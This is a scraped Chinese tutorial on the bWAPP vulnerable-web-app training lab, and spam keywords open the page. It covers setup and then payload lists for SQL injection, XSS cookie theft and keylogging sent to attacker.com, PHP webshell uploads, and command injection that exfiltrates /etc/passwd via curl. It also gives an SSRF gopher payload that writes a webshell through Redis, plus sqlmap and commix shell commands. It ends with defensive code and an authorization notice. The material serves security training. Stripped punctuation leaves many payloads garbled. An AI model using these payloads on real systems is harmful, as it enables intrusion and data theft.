南昌网站建设方案服务,电子商务公司名称大全,沧州商城网站建设,网站建设税种分类bWAPP漏洞靶场实战教程
一、bWAPP概述
1.1 什么是bWAPP
bWAPP#xff08;Buggy Web Application#xff09;是一个集成了100种Web漏洞的PHP/MySQL靶场#xff0c;由安全专家Malik Mesellem开发。它专为Web安全学习、演示和测试设计#xff0c;是极佳的教学工具。
1.2 核心特…bWAPP漏洞靶场实战教程一、bWAPP概述1.1 什么是bWAPPbWAPPBuggy Web Application是一个集成了100种Web漏洞的PHP/MySQL靶场由安全专家Malik Mesellem开发。它专为Web安全学习、演示和测试设计是极佳的教学工具。1.2 核心特点100个漏洞场景覆盖OWASP Top 10所有漏洞多种难度级别Low/Medium/High三个级别真实环境模拟实际Web应用教育友好包含Hints和解决方案开源免费基于GPLv3协议二、环境搭建2.1 虚拟机方式推荐# 下载bWAPP虚拟机# 官方下载http://www.itsecgames.com/# 或使用Bee-box集成了bWAPPwgethttps://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z# 解压并使用VirtualBox/VMware导入# 默认登录# URL: http://192.168.0.1/# 账号: bee / bug# 安全等级: 默认Medium2.2 Docker部署# 方法一直接运行docker run -d -p80:80 raesene/bwapp# 方法二使用docker-composeversion:3services: bwapp: image: raesene/bwapp ports: -80:80environment: -MYSQL_PASSWORDbug2.3 本地部署XAMPP/WAMP# 1. 下载bWAPP源码wgethttps://sourceforge.net/projects/bwapp/files/latest/download# 2. 解压到htdocs目录unzipbWAPP_latest.zip -d /opt/lampp/htdocs/bwapp/# 3. 访问安装页面http://localhost/bwapp/install.php# 4. 配置数据库数据库localhost 用户名root 密码空 数据库名bWAPP# 5. 默认登录凭证用户名bee 密码bug三、界面导航与配置3.1 首次使用设置登录系统使用bee/bug登录选择漏洞类型Choose your bug下拉菜单设置安全级别Low无防护用于学习原理Medium基础防护需简单绕过High较强防护需要高级技术访问Hints点击Hints获取漏洞提示3.2 管理功能-- 管理后台http://[ip]/admin.php-- 默认管理员admin/bug-- 查看用户表SELECT*FROMusers;-- bee/bug普通用户-- admin/bug管理员-- smith/bug测试用户四、核心漏洞实战4.1 SQL注入漏洞家族4.1.1 基于错误的注入Error-BasedLow级别-- 基础注入 OR 11-- 获取数据 UNION SELECT 1,2,3,4,5,6,7,8 -- -- 获取数据库信息 UNIONSELECT1,database(),user(),version(),5,6,7,8---- 获取表名 UNION SELECT 1,table_name,3,4,5,6,7,8 FROM information_schema.tables WHERE table_schemadatabase() -- -- 获取列名 UNIONSELECT1,column_name,3,4,5,6,7,8FROMinformation_schema.columnsWHEREtable_nameusers---- 获取数据UNIONSELECT1,login,password,4,5,6,7,8FROMusers--4.1.2 盲注Blind SQLi-- 布尔盲注 AND 11 -- AND12---- 基于时间的盲注 AND IF(11,SLEEP(5),0) -- ANDIF(SUBSTRING(database(),1,1)b,SLEEP(5),0)---- 逐字符获取数据ANDIF(ASCII(SUBSTRING((SELECTloginFROMusersLIMIT0,1),1,1))98,SLEEP(3),0)--4.1.3 SQLi绕过技巧-- 注释绕过admin -- admin#admin /* -- 编码绕过 OR11-- URL编码%27%20%4F%52%20%31%3D%31%20%2D%2D-- 双写绕过针对关键字过滤 UNUNIONION SELSELECTECT 1,2 -- -- 大小写绕过 Or11-- oR 11 -- -- 等价函数绕过 ORTRUE--OR1--4.2 XSS漏洞家族4.2.1 反射型XSS// 基础payloadscriptalert(document.domain)/script// 窃取Cookiescriptdocument.locationhttp://attacker.com/steal?cookiedocument.cookie/script// 短payloadsvg onloadalert(1)img srcx onerroralert(1)// DOM XSS#img srcx onerroralert(1)javascript:alert(document.cookie)4.2.2 存储型XSS// 评论区注入scriptalert(Stored XSS)/script// 窃取用户会话scriptvarimgnewImage();img.srchttp://attacker.com/steal?cookiedocument.cookie;/script// 键盘记录器scriptdocument.onkeypressfunction(e){newImage().srchttp://attacker.com/log?keye.key;}/script4.2.3 XSS高级绕过// 编码绕过IMGSRCj#X41vascript:alert(test)// 事件处理器body onloadalert(1)input onfocusalert(1)autofocus// iframe注入iframe srcjavascript:alert(document.domain)// SVG XSSsvgscriptalert(1)/script/svgsvganimate onbeginalert(1)attributeNamex dur1s4.3 文件上传漏洞4.3.1 基础绕过# 修改扩展名绕过shell.php.jpg shell.php.png shell.pHp# 双扩展名shell.php.jpg.php# 空字节绕过PHP5.3.4shell.php%00.jpg# .htaccess攻击# 上传.htaccess文件AddType application/x-httpd-php .jpg# 然后上传shell.jpg实际是PHP文件4.3.2 Content-Type绕过POST /bWAPP/upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary----WebKitFormBoundary123456 ------WebKitFormBoundary123456 Content-Disposition: form-data; nameuploaded; filenameshell.php Content-Type: image/jpeg # 伪装成图片 ?php system($_GET[cmd]); ?4.3.3 文件内容绕过# 使用图片马# 创建包含PHP代码的图片exiftool-Comment?php system(\$_GET[cmd]); ?image.jpg# GIF图片头绕过GIF89a;?phpsystem($_GET[cmd]);?4.4 命令注入4.4.1 基础注入# 执行多条命令127.0.0.1whoami127.0.0.1|cat/etc/passwd127.0.0.1;ls-la# 命令替换127.0.0.1$(cat/etc/passwd)127.0.0.1whoami4.4.2 盲注技术# 基于时间的盲注127.0.0.1sleep5127.0.0.1ping-c5127.0.0.1# 带外数据外泄127.0.0.1nslookup$(whoami).attacker.com127.0.0.1curlhttp://attacker.com/$(cat/etc/passwd|base64)4.4.3 绕过过滤# 空格绕过127.0.0.1{cat,/etc/passwd}127.0.0.1;cat$IFS/etc/passwd# 关键字绕过127.0.0.1ac;bat;c/etc/passwd;$a$b$c127.0.0.1whoami127.0.0.1who$(echoam)i# 编码绕过127.0.0.1echod2hvYW1p|base64 -d4.5 CSRF攻击4.5.1 基础CSRF!-- 简单GET请求 --imgsrchttp://localhost/bWAPP/csrf_1.php?password_newhackedpassword_confhackedwidth0height0!-- POST表单 --formactionhttp://localhost/bWAPP/csrf_2.phpmethodPOSTidcsrfinputtypehiddennamepassword_newvaluehackedinputtypehiddennamepassword_confvaluehacked/formscriptdocument.getElementById(csrf).submit()/script4.5.2 高级CSRF!-- JSON CSRF --scriptfetch(http://localhost/bWAPP/rest-api/change-password,{method:POST,headers:{Content-Type:application/json},body:JSON.stringify({newPassword:hacked})})/script!-- 使用XHR --scriptvarxhrnewXMLHttpRequest();xhr.open(POST,http://localhost/bWAPP/change-email,true);xhr.setRequestHeader(Content-Type,application/x-www-form-urlencoded);xhr.send(emailattackerevil.com);/script五、其他重要漏洞5.1 文件包含# 本地文件包含http://localhost/bWAPP/fi.php?page../../../etc/passwdhttp://localhost/bWAPP/fi.php?pagephp://filter/convert.base64-encode/resourceindex.php# 远程文件包含http://localhost/bWAPP/fi.php?pagehttp://attacker.com/shell.txt# 日志文件包含http://localhost/bWAPP/fi.php?page../../../var/log/apache2/access.log# /proc文件包含http://localhost/bWAPP/fi.php?page../../../proc/self/environ5.2 不安全的直接对象引用IDOR# 水平越权 GET /bWAPP/idor_1.php?movie1 # 自己的电影 GET /bWAPP/idor_1.php?movie2 # 他人电影 # 垂直越权 GET /bWAPP/admin/users.php # 普通用户访问管理员页面 # 批量遍历 GET /bWAPP/idor_2.php?account100 GET /bWAPP/idor_2.php?account101 GET /bWAPP/idor_2.php?account1025.3 SSRF攻击# 基础SSRF http://localhost/bWAPP/ssrf.php?urlfile:///etc/passwd http://localhost/bWAPP/ssrf.php?urlhttp://169.254.169.254/latest/meta-data/ # 端口扫描 http://localhost/bWAPP/ssrf.php?urlhttp://127.0.0.1:22 http://localhost/bWAPP/ssrf.php?urlhttp://127.0.0.1:3306 # 协议处理 gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a六、自动化工具实战6.1 SQLMap# 基础检测sqlmap -uhttp://localhost/bWAPP/sqli_1.php?titletestactionsearch--cookiePHPSESSIDxxx; security_level0# 获取数据库sqlmap -uhttp://localhost/bWAPP/sqli_1.php--datatitletestactionsearch--cookiePHPSESSIDxxx--dbs# 获取表sqlmap -uhttp://localhost/bWAPP/sqli_1.php--datatitletestactionsearch--cookiePHPSESSIDxxx-D bWAPP --tables# 获取数据sqlmap -uhttp://localhost/bWAPP/sqli_1.php--datatitletestactionsearch--cookiePHPSESSIDxxx-D bWAPP -Tusers--dump# 自动化测试sqlmap -uhttp://localhost/bWAPP/sqli_1.php--datatitletestactionsearch--cookiePHPSESSIDxxx--batch --level5--risk36.2 XSStrike# XSS自动化检测python3 xsstrike.py -uhttp://localhost/bWAPP/xss_get.php?nametest# 使用爬虫模式python3 xsstrike.py -uhttp://localhost/bWAPP--crawl# 暴力破解参数python3 xsstrike.py -uhttp://localhost/bWAPP/xss_get.php--paramsname6.3 Commix# 命令注入自动化检测python3 commix.py -uhttp://localhost/bWAPP/commandi.php?target127.0.0.1# 获取shellpython3 commix.py -uhttp://localhost/bWAPP/commandi.php--datatarget127.0.0.1--os-shell七、防御代码分析7.1 SQL注入防护// Low级别无防护$sqlSELECT * FROM movies WHERE title LIKE %.$_GET[title].%;// Medium级别mysql_real_escape_string$titlemysql_real_escape_string($_GET[title]);$sqlSELECT * FROM movies WHERE title LIKE %.$title.%;// High级别预处理语句$stmt$mysqli-prepare(SELECT * FROM movies WHERE title LIKE ?);$search%.$_GET[title].%;$stmt-bind_param(s,$search);$stmt-execute();7.2 XSS防护// Low级别无防护echo$_GET[name];// Medium级别strip_tagsechostrip_tags($_GET[name]);// High级别htmlspecialcharsechohtmlspecialchars($_GET[name],ENT_QUOTES,UTF-8);// 额外防护CSP头header(Content-Security-Policy: default-src self);7.3 文件上传防护// High级别防护$allowed_typesarray(image/jpeg,image/png,image/gif);$max_size512000;// 500KB$upload_diruploads/;// 检查文件类型if(!in_array($_FILES[file][type],$allowed_types)){die(Invalid file type!);}// 检查文件大小if($_FILES[file][size]$max_size){die(File too large!);}// 重命名文件$extensionpathinfo($_FILES[file][name],PATHINFO_EXTENSION);$new_filenamemd5(uniqid())...$extension;// 移动文件move_uploaded_file($_FILES[file][tmp_name],$upload_dir.$new_filename);八、实战演练计划阶段1基础漏洞第1周SQL注入所有类型XSS反射型、存储型命令注入文件上传文件包含阶段2进阶漏洞第2周盲注攻击CSRF攻击SSRF攻击IDOR漏洞XXE漏洞阶段3组合攻击第3周SQLi - 获取数据库 - 文件写入 - WebShellXSS - 窃取Cookie - 会话劫持文件上传 - 命令执行 - 权限提升阶段4防御绕过第4周WAF绕过技术编码绕过逻辑漏洞利用自动化工具使用九、学习资源官方资源官方网站http://www.itsecgames.com/GitHub仓库https://github.com/raesene/bWAPP官方文档http://www.itsecgames.com/download.htm扩展学习DVWA适合初学者的简单靶场WebGoatOWASP官方教学靶场Juice Shop现代Web应用靶场PentesterLab专业渗透练习平台工具推荐Burp SuiteWeb渗透测试神器OWASP ZAP开源Web应用扫描器SQLMapSQL注入自动化工具XSSHunterXSS漏洞利用平台十、安全实践建议10.1 测试环境配置# 创建专用网络docker network create bwapp-net docker run -d --network bwapp-net --name bwapp raesene/bwapp# 使用虚拟机快照# 测试前创建快照测试后恢复10.2 合法授权仅限本地测试不要在生产环境测试明确授权获得明确书面授权遵守法律了解当地网络安全法规道德约束不为恶意目的使用技能10.3 学习记录# 漏洞测试记录模板 ## 漏洞名称 ## 测试时间 ## 安全等级 ## 漏洞URL ## 攻击Payload ## 测试步骤 ## 防御措施 ## 学习心得通过bWAPP的系统学习你将掌握100种Web漏洞的利用和防御技术。建议按照漏洞类型逐步深入每个漏洞都要尝试三个安全级别理解不同防护措施的差异。理论与实践结合才能真正提升Web安全能力